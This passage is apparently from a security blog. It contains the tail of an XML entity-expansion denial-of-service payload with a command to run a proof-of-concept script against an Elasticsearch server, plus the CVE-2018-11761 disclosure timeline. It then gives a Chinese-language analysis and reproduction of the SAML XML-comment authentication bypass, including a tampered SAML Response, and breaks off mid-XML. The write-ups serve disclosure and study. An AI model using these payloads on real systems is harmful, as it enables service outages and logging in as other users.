0000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" >
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" >
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" >
]>
<foo>&d;</foo>

  • Run the script to send requests to an ES server.
python poc_dos_es.py [ES IP Address] [ES Port] ES_XML.xml [Thread Number]
  • Then, the CPU utilization will increase rapidly and obviously.

Conclusion

This vulnerability is actually caused by Apache Tika XML Parser implementation. Meanwhile, I think all of services which are using Tika to parse XML file should be impacted as well.

Timeline

  • 2018-07-25: Reported to Apache Security and Elastic Product Security team.
  • 2018-07-26: Received acknowledgement and confirmation from Apache Tika PMC.
  • 2018-07-27: Received acknowledgement from Elastic Product Security.
  • 2018-09-19: Received CVE-2018-11761 announcement from Apache Tika team and confirmed the issue was fixed in Apache Tika 1.19 or later
  • 2018-11-27: Elastic Product Security team confirmed ElasticSearch 6.4.3 fixed the issue.

References

漏洞分析与实践之基于SAML实现的单点登录系统

0x00 前言

近日,笔者看到国外安全组织Duo Labs公布了一个比较有意思的漏洞,该漏洞影响了大部分基于SAML的SSO系统的实现,出于好奇进行了如下分析和实践,遂成此文。水平有限,不当之处敬请指正。

0x01 分析

什么是SAML

SAML全称Security Assertion Markup Language,顾名思义“安全声明标记语言”,它是一个为应用程序提供身份认证和授权的协议,通常应用于单点登录(SSO)系统。

Security Assertion Markup Language (SAML, pronounced sam-el[1]) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. As its name implies, SAML is an XML-based markup language for security assertions (statements that service providers use to make access-control decisions). SAML is also:

    A set of XML-based protocol messages
    A set of protocol message bindings
    A set of profiles (utilizing all of the above)

SAML提供了一种只在一个统一的身份认证服务上完成用户认证即可访问其他授权第三方服务的方法,相当于“一次认证,处处访问”。

SAML包含以下几个概念:

  • Identity Provider (IdP) – 身份认证提供者 – 一个提供了用户身份识别和认证的软件或者服务,如:检查用户名和密码,校验用户状态,双因素认证等
  • Serivce Provider (SP) – 服务提供者 – 用户需要获取访问权限的应用系统
  • SAML Assertion – SAML声明 – 一个标识了用户身份和其他相关属性的消息

SAML是如何工作的

SAML的工作模式其实可以简化如下:

  • 用户A想要访问SP的资源
  • 用户A先访问IdP,完成一系列校验和身份认证后获得一个访问SP的SAML Response (包含SAML assertion和该SP所需要的相关的属性等)
  • 用户A带着从IdP获取到的SAML assertion去访问SP,并被授权访问相应的数据资源

SAML分为2种模式:

  • IdP-Initiated
  • SP-Initiated

二者的区别在于认证的工作流从什么地方开始。当用户首先访问到IdP(通常是一个统一认证的登陆页)完成身份认证后带着IdP生成的SAML assertion去访问SP并取得访问权限,这就是IdP-Initiated; 当用户首先访问SP但是被redirect到IdP并带着SAML request(作用是告诉IdP该用户想要登陆该SP,但是没有SAML assetion,请帮忙获取一个SAML assertion并redirect回到该SP),在IdP上完成身份认证后带着SAML assertion去访问之前的那个SP并取得访问权限,这就是SP-Inititated。

详细的解释可以参考这篇文章

漏洞是怎么产生的

回到我们的正题了,这到底是个什么样的漏洞?又是如何产生的呢?

在上面SAML的基本介绍里,我们提到过基于SAML的SSO系统是通过SAML assertion来告诉SP是否该用户是经过身份认证并被授权访问的。为了说明白原理,我们来简化一下这个流程(实际上可能会比这个过程复杂):

  • 用户访问一个IdP服务经过身份认证后得到一个签名后的SAML Response(包含SAML assertion)。用户的客户端浏览器把这个SAML Response转发到要访问的SP
  • SP校验这个转发过来的SAML Response的签名
  • 如果签名有效,SAML Response中的身份识别码(如NameID)将会被提取出来用以判断什么用户被认证通过了,从而授予相应的访问权限

一个比较简单但是典型的SAML Response的例子如下:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

从上面这个例子中我们可以看到几个重点部分,NameID, CanonicalizationMethod以及SignatureValue,他们分别表示身份识别码,标准化签名方法,校验签名。

SP在校验签名时需要利用CanonicalizationMethod提取SAML Response中的NameID生成签名并与SAML Response中SignatureValue作对比,如果二者一致则表示签名校验成功并提取NameID中的值作为身份识别码并授予相应的访问权限;反之失败并拒绝用户请求。

通常的CanonicalizationMethod是http://www.w3.org/2001/10/xml-exc-c14n#, 而该方法在签名之前会先解析XML中节点且忽略注释部分,如

<NameID>test@example<!--This is comment -->.com</NameID>

节点NameID中的注释部分<!–This is comment –>会被忽略,其获取到NameID的值是test@example.com而不是test@example<!–This is comment –>.com。这样直接导致的一个后果就是不同的NameID可能会产生相同的SignatureValue,这也就为后面的漏洞埋下了伏笔。

而另一方面,SP在签名校验成功后提取SAML Response中的NameID时使用的XML解析方法却很可能与CanonicalizationMethod不一致。如Python中的defusedxml.lxml库在解析<NameID>test@example<!–This is comment –>.com</NameID>中的NameID时就只会返回test@example。如此一来,如果SP的Python-SAML实现中使用的是defusedxml.lxml库,那么下面这两个SAML Response就会产生不同的NameID和相同的SignatureValue。换句话说,我们在原始的SAML Response中的NameID user@user.com.evil.com中添加了注释,这时SP依旧认为该SAML Response签名有效但最终却由于XML解析库的不一致的问题提取了错误的用户身份认证码进入了用户user@user.com的账户,从而造成了越权用户访问的问题。
原始的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

篡改后的SAML Response:

<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--This is comment-->.evil.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <SignedInfo>
            <CanonicalizationMethod Algorithm="xml-c14n11"/>
            <Reference URI="#_id1234"/>
        </SignedInfo>
        <SignatureValue>
            some base64 data that represents the signature of the assertion
        </SignatureValue>
    </Signature>
</SAMLResponse>

那么实际情况下,基于SAML的SSO的实现上会不会出现这种对于XML解析不一致的问题呢?漏洞的发现者测试后发现确实存在,下面这些实现都存在这类问题:

  • OneLogin – python-saml – CVE-2017-11427
  • OneLogin – ruby-saml – CVE-2017-11428
  • Clever – saml2-js – CVE-2017-11429
  • OmniAuth-SAML – CVE-2017-11430
  • Shibboleth – CVE-2018-0489
  • Duo Network Gateway – CVE-2018-7340

0x02 实践

原理分析完了,接下来就是实践验证的时刻了。笔者下面以OneLogin的Python-SAML为例来实际复现一下。

首先,下载受该漏洞影响的OneLogin’s SAML Python Toolkit v2.3.0 (注: 2.4.0版本已经修复此漏洞了)。

接着,按照此文章搭建一个基于OneLogin SAML单点登录的Demo系统(本文以demo-flask为例)。

漏洞环境搭建完成后我们需要在我们的IdP(此处是OneLogin)上建立2个测试用户:

  • 测试用户A:test1@cnnt.com

  • 测试用户B:test1@cnnt.com.cnnt.com

我们的测试目的是,能否通过已经认证成功后的测试用户B的SAML Response经过修改成功获取到测试用户A的数据。

接下来,我们开始尝试利用这个漏洞。

第一步,登陆并成功认证测试用户B,

我们获取到如下的SAML Response:

经过简单的分析得知,该SAML Response是经过base64encode+urlencode的得到的,解码后如下:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R6ff459b0bb3452d49705f1da93d843942d45a54b" Version="2.0" IssueInstant="2018-03-02T16:08:19Z" Destination="http://180.76.234.24/?acs" InResponseTo="ONELOGIN_61f4ac5d5e96a1cbd5ad18c247548548e03d3fa1"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b" IssueInstant="2018-03-02T16:08:19Z"><saml:Issuer>https://app.onelogin.com/saml/metadata/758321</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#pfx778d787c-956b-d730-43ba-7f2f4e0b5a3b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod 